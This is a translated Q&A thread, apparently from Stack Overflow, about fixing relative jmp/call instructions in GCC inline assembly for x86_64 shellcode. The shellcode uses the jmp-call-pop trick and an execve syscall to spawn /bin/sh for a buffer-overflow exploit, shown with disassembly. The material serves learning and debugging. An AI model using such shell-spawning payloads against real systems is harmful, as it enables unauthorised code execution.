如何在GCC中使用内联汇编进行相对跳转/调用(x86_64)

时间:2015-01-18 19:57:55

标签: c gcc assembly x86-64

我正在编写一个漏洞利用从头开始生成shell。 (即用于缓冲区溢出)。我面临的一个问题是让jmp语句起作用。我的理解是jmp指令是相对于ip的。但是,当我尝试在内联汇编中运行以下内容时,我会跳转到绝对地址。

jmp 0x28 #in inline GCC will jump to address 0x28 not 0x28 relative to the ip

我解决这个问题的一种方法是使用IP作为指令的一部分,如下所示:

jmp *0x28(%rip) #will jump to address 0x28 relative to the ip

然而,当我这样做时,我在jmp

上遇到了分段错误

整个汇编代码如下:

void main() {
    __asm__(
    "jmp  *0x28(%rip)                           \n"
    "popq %rax                              \n" 
    "movw $0x0, 0x0(%rax)       #add null termination           \n"
    "movq %rax,0x8(%rax)        #set up argv in memory          \n"
    "movq $0, 0x10(%rax)                            \n"
    "mov $0x0, %edx         #set up arg 3               \n"
    "mov %rax, %rsi                             \n"
    "add $0x8, %rsi                             \n"
    "mov %rax,%rdi                              \n"
    "mov $0x3b,%eax                             \n"
    "syscall                                \n"
    "call *-0x2e(%rip)                          \n"
    ".string \"/bin/sh\""
    );
}

GDB的反汇编输出是:

Dump of assembler code for function main:
   0x00000000004004ac <+0>: push   %rbp
   0x00000000004004ad <+1>: mov    %rsp,%rbp
   0x00000000004004b0 <+4>: jmpq   *0x28(%rip)        # 0x4004de <main+50>
   0x00000000004004b6 <+10>:    pop    %rax
   0x00000000004004b7 <+11>:    movw   $0x0,(%rax)
   0x00000000004004bc <+16>:    mov    %rax,0x8(%rax)
   0x00000000004004c0 <+20>:    movq   $0x0,0x10(%rax)
   0x00000000004004c8 <+28>:    mov    $0x0,%edx
   0x00000000004004cd <+33>:    mov    %rax,%rsi
   0x00000000004004d0 <+36>:    add    $0x8,%rsi
   0x00000000004004d4 <+40>:    mov    %rax,%rdi
   0x00000000004004d7 <+43>:    mov    $0x3b,%eax
   0x00000000004004dc <+48>:    syscall 
   0x00000000004004de <+50>:    callq  *-0x2e(%rip)        # 0x4004b6 <main+10>
   0x00000000004004e4 <+56>:    (bad)  
   0x00000000004004e5 <+57>:    (bad)  
   0x00000000004004e6 <+58>:    imul   $0x5d006873,0x2f(%rsi),%ebp
   0x00000000004004ed <+65>:    retq   
End of assembler dump.

我在第一条指令jmp *0x28(%rip)上遇到了段错误,尽管GDB说它会转到正确的地址。

有趣的是,如果我在call *-0x2e(%rip)和jmp之前放置一个标签就可以了。地址将是绝对的,并且不会产生jmp的分段错误。

使用标签的C代码:

void main() {
    __asm__(
    "jmp  my_hack                               \n"
    "popq %rax                              \n" 
    "movw $0x0, 0x0(%rax)       #add null termination           \n"
    "movq %rax,0x8(%rax)        #set up argv in memory          \n"
    "movq $0, 0x10(%rax)                            \n"
    "mov $0x0, %edx         #set up arg 3               \n"
    "mov %rax, %rsi                             \n"
    "add $0x8, %rsi                             \n"
    "mov %rax,%rdi                              \n"
    "mov $0x3b,%eax                             \n"
    "syscall                                \n"
    "my_hack:                               \n"
    "call *-0x2e(%rip)                          \n"
    ".string \"/bin/sh\""
    );
}

结果反汇编

Dump of assembler code for function main:
   0x00000000004004ac <+0>: push   %rbp
   0x00000000004004ad <+1>: mov    %rsp,%rbp
   0x00000000004004b0 <+4>: jmp    0x4004da <main+46>
   0x00000000004004b2 <+6>: pop    %rax
   0x00000000004004b3 <+7>: movw   $0x0,(%rax)
   0x00000000004004b8 <+12>:    mov    %rax,0x8(%rax)
   0x00000000004004bc <+16>:    movq   $0x0,0x10(%rax)
   0x00000000004004c4 <+24>:    mov    $0x0,%edx
   0x00000000004004c9 <+29>:    mov    %rax,%rsi
   0x00000000004004cc <+32>:    add    $0x8,%rsi
   0x00000000004004d0 <+36>:    mov    %rax,%rdi
   0x00000000004004d3 <+39>:    mov    $0x3b,%eax
   0x00000000004004d8 <+44>:    syscall 
   0x00000000004004da <+46>:    callq  *-0x2e(%rip)        # 0x4004b2 <main+6>
   0x00000000004004e0 <+52>:    (bad)  
   0x00000000004004e1 <+53>:    (bad)  
   0x00000000004004e2 <+54>:    imul   $0x5d006873,0x2f(%rsi),%ebp
   0x00000000004004e9 <+61>:    retq   
End of assembler dump.

使用上述反汇编中的标签跳转不会产生分段错误。在0x00000000004004da执行的调用将会。

有人可以解释为什么在jmp中使用rip会导致分段错误吗?

如何使用GCC内联汇编进行相对跳转/调用?我不知道如何检查汇编程序但是我很确定我正在使用GAS(在他们的wiki上它说它是默认的GCC汇编程序)。在相关问题中已经提出使用诸如jmp .+0x28之类的语法的建议,但是这将导致绝对跳转而不是相对跳转到pc。

2 个答案:

答案 0 :(得分:2)

我认为你的间接有点太多了。尝试

jmp 0x28(%rip)

在汇编程序中,它将被写为(大约)

jmp   $+0x28

我写了大约,因为汇编指令是相对于指令的起始地址。但是rip在执行时会增加到下一条指令。所以要获得类似

的效果
jmp   $+0x24     # maybe 0x23, maybe 0x25 depending on the instruction length

答案 1 :(得分:1)

当您jmpcall到标签时, 使用相对地址而不是绝对地址。您在GDB中看到的反汇编可能具有欺骗性,请尝试objdump -D <ELF file>并查找main段。

以下是objdump告诉我们您的第一个例子的内容。

00000000004004b4 <main>:
  4004b4:       55                      push   %rbp
  4004b5:       48 89 e5                mov    %rsp,%rbp
  4004b8:       ff 25 28 00 00 00       jmpq   *0x28(%rip)        # 4004e6 <main+0x32>
  4004be:       58                      pop    %rax
  4004bf:       66 c7 00 00 00          movw   $0x0,(%rax)
  4004c4:       48 89 40 08             mov    %rax,0x8(%rax)
  4004c8:       48 c7 40 10 00 00 00    movq   $0x0,0x10(%rax)
  4004cf:       00 
  4004d0:       ba 00 00 00 00          mov    $0x0,%edx
  4004d5:       48 89 c6                mov    %rax,%rsi
  4004d8:       48 83 c6 08             add    $0x8,%rsi
  4004dc:       48 89 c7                mov    %rax,%rdi
  4004df:       b8 3b 00 00 00          mov    $0x3b,%eax
  4004e4:       0f 05                   syscall 
  4004e6:       ff 15 d2 ff ff ff       callq  *-0x2e(%rip)        # 4004be <main+0xa>
  4004ec:       2f                      (bad)  
  4004ed:       62                      (bad)  
  4004ee:       69 6e 2f 73 68 00 5d    imul   $0x5d006873,0x2f(%rsi),%ebp
  4004f5:       c3                      retq

jmp 0x4004b8可能不是你想要的。它跳转到内存位置0x4004e6引用的地址;尝试在0x622fffffffd215ff执行指令可能会导致页面错误。同样,call 0x4004e6实际上将程序计数器移至0x66580000002825ff,导致另一个可能的段错误。

我稍微修改了你的第二个例子

void main() {
    __asm__(
    "jmp  my_hack                               \n"
    "my_hack2:\n"
    "popq %rax                              \n" 
    "movw $0x0, 0x0(%rax)       #add null termination           \n"
    "movq %rax,0x8(%rax)        #set up argv in memory          \n"
    "movq $0, 0x10(%rax)                            \n"
    "mov $0x0, %edx         #set up arg 3               \n"
    "mov %rax, %rsi                             \n"
    "add $0x8, %rsi                             \n"
    "mov %rax,%rdi                              \n"
    "mov $0x3b,%eax                             \n"
    "syscall                                \n"
    "my_hack:                               \n"
    "call my_hack2                          \n"
    ".string \"/bin/sh\""
    );
}

...以及objdump

产生的反汇编
00000000004004b4 <main>:
  4004b4:       55                      push   %rbp
  4004b5:       48 89 e5                mov    %rsp,%rbp
  4004b8:       eb 28                   jmp    4004e2 <my_hack>

00000000004004ba <my_hack2>:
  4004ba:       58                      pop    %rax
  4004bb:       66 c7 00 00 00          movw   $0x0,(%rax)
  4004c0:       48 89 40 08             mov    %rax,0x8(%rax)
  4004c4:       48 c7 40 10 00 00 00    movq   $0x0,0x10(%rax)
  4004cb:       00 
  4004cc:       ba 00 00 00 00          mov    $0x0,%edx
  4004d1:       48 89 c6                mov    %rax,%rsi
  4004d4:       48 83 c6 08             add    $0x8,%rsi
  4004d8:       48 89 c7                mov    %rax,%rdi
  4004db:       b8 3b 00 00 00          mov    $0x3b,%eax
  4004e0:       0f 05                   syscall 

00000000004004e2 <my_hack>:
  4004e2:       e8 d3 ff ff ff          callq  4004ba <my_hack2>
  4004e7:       2f                      (bad)  
  4004e8:       62                      (bad)  
  4004e9:       69 6e 2f 73 68 00 5d    imul   $0x5d006873,0x2f(%rsi),%ebp
  4004f0:       c3                      retq

即使您不知道jmpcall的指令编码,希望很明显汇编程序为0x4004b8和{{1}处的指令生成相对地址}。

你的程序仍然是段错误,但希望这有助于你找出原因。